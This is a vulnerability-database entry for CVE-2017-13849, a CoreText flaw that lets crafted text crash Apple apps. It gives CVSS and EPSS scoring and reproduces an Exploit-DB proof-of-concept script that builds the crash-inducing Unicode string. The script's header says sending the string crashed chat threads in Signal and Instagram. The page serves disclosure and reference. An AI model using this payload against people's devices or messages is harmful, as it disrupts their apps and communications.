CVE-2017-13849 Detail

CVE-2017-13849

Score / Severity

5.5

Medium

OWSAP

A03-Injection

EPSS

3.06%V3

Vector

Local

Published

2017-11-13
02h00 +00:00

Modified

2017-11-22
09h57 +00:00

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CVE.org

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CVE Descriptions

An issue was discovered in certain Apple products. iOS before 11.1 is affected. tvOS before 11.1 is affected. watchOS before 4.1 is affected. The issue involves the "CoreText" component. It allows remote attackers to cause a denial of service (application crash) via a crafted text file.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-20	Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	5.5	MEDIUM	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. None There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. None There is no loss of integrity within the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	[email protected]
V2	4.3		AV:N/AC:M/Au:N/C:N/I:N/A:P	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 43161

Publication date : 2017-11-19 23h00 +00:00
Author : Russian Otter
EDB Verified : Yes

# Exploit Title: TpwnT - iOS Denail of Service POC # Date: 10-31-2017 # Exploit Author: Russian Otter (Ro) # Vendor Homepage: https://support.apple.com/en-us/HT208222 # Version: 2.1 # Tested on: iOS 10.3.2 - 11.1 # CVE: CVE-2017-13849 """ ------------------------- CVE-2017-13849 TpwnT by Ro of SavSec ------------------------- Description: Thread Pwning Text (TpwnT) is maliciously crafted text that affects the iPhone and other Apple devices by exploiting a vulnerability found in the Core-Text firmware which results in a thread crash or extreme application lag! Recorded Tests / Results: Signal version 2.14.1 on iOS 10.3.2 (fixed on 2.15.3) users were able to crash conversations by sending the payload which would result in the app crashing when the selected chat was opened. Instagram version 10.25 (fixed on 10.31) on iOS 10.3.2 and resulting in chat thread crashes when the payload was sent which disallowed users to load chat or send messages. When the payload was unsent the chat was fuctional. Pythonista 3 on iOS 10.3.2, crashed when displaying multiple sets of TpwnT or while rotating the device. Summary: When displaying the TpwnT Characters on iOS < 11.1 the iPhone may lag intensely or crash on certain apps! This allows for the possibility of DoS related attacks or application crashing attacks. Creator: @Russian_Otter (Ro) Discovery: 7-17-2017 Disclosure: 10-31-2017 Disclosure Page: https://support.apple.com/en-us/HT208222 Affected Devices iPhone 5S iOS < 11.1 iPhone 6 & 6S iOS < 11.1 iPhone 7 iOS < 11.1 iPhone 8 iOS < 11.1 iPhone X iOS < 11.1 Apple TV 4th Generation Apple TV 4K 4th Generation iPod Touch 6th Generation iPad Air watchOS < 4.1 tvOS < 11.1 iOS < 11.1 Tested Devices: iPhone 5S iOS 10.3.2 - 11.1 iPhone 6S iOS 10.3.1 - 11.1 iPad Mini 2 iOS 10.3.2 Apple TV 2 tvOS 10 Tested Apps: Signal Instagram Snapchat Safari Tanktastic Pythonista 3 Notepad """ tpwnt = "880 881 883 887 888 975 1159 1275 1276 1277 1278 1302 1304 1305 1306 1311 1313 1314 1316 1317 1318 1319 1322 1323 1324 1325 1326 1327 1328 1543 2304 2405 3073 3559 3585 3586 4091 4183 4184 4353 6366 6798 7679 7680 7837 7930 7932 7933 7934 7935 7936 8343 8344 8345 8346 8347 8348 8349 8376 8381 8382 8383 8384 8524 9136 9169 10215 10216 11153 11374 11377 11381 11390 11392 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11771 11772 11773 11774 11775 11776 11811 11813 11814 12295 12344 12357 12686 19971 19975 42560 42562 42563 42564 42565 42566 42567 42568 42569 42570 42571 42572 42573 42574 42575 42576 42577 42578 42579 42580 42581 42583 42584 42585 42587 42588 42589 42590 42591 42592 42594 42595 42596 42597 42598 42599 42600 42601 42602 42603 42604 42605 42606 42608 42609 42610 42611 42612 42613 42614 42615 42616 42617 42619 42620 42621 42622 42623 42624 42625 42627 42628 42629 42630 42632 42633 42634".split() payload = "" for i in tpwnt: s = unichr(int(i)) payload += s payload = bytes(payload) payload_unicode = unicode(payload) # Proof of Concept # iOS < 11.1 Devices that display these characters should experience lag or crashes while TpwnT is visible if raw_input("Show Payload [y/n] ") == "y": print payload_unicode